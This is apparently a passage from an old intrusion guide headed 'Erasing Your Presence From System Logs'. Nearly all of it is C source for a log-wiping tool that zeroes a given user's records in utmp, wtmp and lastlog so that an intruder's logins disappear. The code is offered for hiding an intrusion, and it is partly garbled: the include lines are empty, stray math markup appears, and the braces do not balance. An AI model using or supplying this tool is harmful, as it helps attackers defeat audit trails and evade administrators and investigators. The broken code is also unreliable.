## $\mathtt{m}\mathtt{m}$ Erasing Your Presence From System Logs $\mathtt{m}\mathtt{m}$

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.
Example:
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

```
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
    while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
      if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof( utmp_ent ));
               lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
               write (f, &utmp_ent, sizeof (utmp_ent));
          }
    close(f);
}
}
void kill_wtmp(who)
char *who;
{
  struct utmp utmp_ent;
  long pos;
  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {
    while(pos != -1L) {
      lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
      if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
         pos = -1L;
      } else {
         if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
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bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
         } else pos += 1L;
      }
    }
     close(f);
 }
}
void kill_lastlog(who)
char *who;
{
  struct passwd *pwd;
  struct lastlog newll;
    if ((pwd=getpwnam(who))!=NULL) {
       if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
           lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
           bzero((char *)&newll,sizeof( newll ));
           write(f, (char *)&newll, sizeof( newll ));
           close(f);
      }
  } else printf("%s: ?\n",who);
```

```
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
```

 $printf("Error.\n");$ 

}

}